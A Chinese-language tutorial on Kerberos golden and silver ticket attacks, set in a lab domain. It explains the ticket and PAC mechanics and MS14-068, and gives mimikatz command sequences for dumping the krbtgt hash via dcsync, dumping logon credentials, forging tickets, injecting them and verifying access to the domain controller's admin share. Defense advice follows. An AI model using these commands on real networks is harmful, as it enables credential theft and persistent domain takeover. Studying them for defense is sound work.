票据传递


什么是票据传递

票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。

白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。


其实黄金票据与白银票据本质是趋近的,区别是取决于加密票据的是krbtgt的hash还是其他服务的hash。黄金票据说白了就是知道了krbtgt的hash后可以伪造一张ticket,这个ticket可以访问krbtgt/domain_name服务。白银票据是得到了某个服务的hash,然后伪造一个ticket这个ticket有权限访问那个服务。其实krbtgt就是KDC服务

黄金票据伪造了TGT后,会拥有一个伪造后高权限的TGT,还会有一个SESSION key,这样子才能进行后续的kerberos认证,只有TGT没有session key是无法进行后续认证

利用:

域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域机器: WINis10@192.168.228.40 本地管理员:aspnet


黄金票据(Golden Ticket)

TGT由krbtgt用户Hash加密,如果拥有krbtgt用户Hash就可以制作TGT,从而得到ST服务票据,进而访问域控。

要创建黄金票据,需要以下信息:

1.域名

2.域的SID值(域成员SID值去掉最后的)

3.krbtgt账号的哈希值或AES-256值

在域控上用mimikatz执行:

privilege::debug

lsadump::dcsync /domain:hiro.com /user:krbtgt

mimikatz进行攻击:

kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

在mimikatz上输入kerberos::list查看该票据,或者在机器上cmd窗口输入klist(cmd需要以管理员权限运行)也能查到该票据

验证是否成功:

ps:target需要指向FQDN

在Client端通过Psexec.exe与域控进行连接

或者直接建立ipc$连接

net use \WIN-KONG.hiro.com\c$

黄金票据(Golden Ticket)防御:

使用黄金票据能够在一个域环境中长时间控制整个域,并且日志无法溯源。需要经常更新krbtgt的密码,才能够使得原有的票据失效。最根本的办法是不允许域管账户登录其他服务器


白银票据(Silver Ticket)

ticket中的enc-part是由服务Hash加密的,如果有了服务Hash,就可以签发任意用户的ST票据,不需要跟域控打交道,但是只能访问特定服务。(伪造的白银票据没有带有效KDC签名的PAC,如果目标验证了KDC的PAC签名,那么白银票据就不起作用了)

PAC

PAC在AS-REP放在TGT里加密发送给ClientPAC 中包含的是用户的 SID、用户所在的组等一些信息。当Client需要访问Server所提供的某项服务时, Server为了判断用户是否具有合法的权限需要将Client的SID、用户所在的组等信息传递给KDC, KDC通过SID判断用户的用户组信息,用户权限等,进而将结果返回给Server,Server再将此信息与用户所索取的资源的ACL进行比较, 最后决定是否给用户提供相应的服务

有些服务并没有验证PAC,这就是白银票据能成功的原因。如果验证了PAC的话,就算攻击者拥有服务Hash,制作了ST票据,也不能制作PAC(PAC由两个数字签名构成,而这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密),并且只有KDC才能制作和查看PAC。

也恰恰是是这个 PAC,造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。


要创建白银票据,需要以下信息:

1.域名

2.域的SID值

3.目标服务的FQDN

4.服务账号的HTLM哈希

利用白银票据伪造CIFS服务权限

CIFS服务常用于Windows主机之间的文件共享

1.在域控使用mimikatz获得域控的NTLM哈希

privilege::Debug

sekurlsa::logonpasswords

2.进行白银票据攻击

kerberos::golden /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /target:WIN-KONG.hiro.com /service:cifs /rc4:39107db5b42b1cfb9f3f38520bb4c0f3
/user:administrator /ptt

在mimikatz上输入kerberos::list查看该票据

在机器上cmd窗口输入klist也能查到该票据

验证是否成功:

net use \WIN-KONG.hiro.com\c$

白银票据(Silver Tickets)防御

尽量防止服务Hash不被窃取,并且开启PAC签名(PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效。)

但是如果开启PAC认证,会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务


黄金和白银票据的区别

1、访问权限不同

Golden Ticket是伪造的TGT(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限

Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限

2、加密方式不同

Golden Ticket是由krbtgt的hash加密

Silver Ticket是由服务账户hash加密

3、认证流程不同

Golden Ticket在使用的过程需要同域控通信

Silver Ticket在使用的过程不需要同域控通信,所以相对来说更加隐蔽。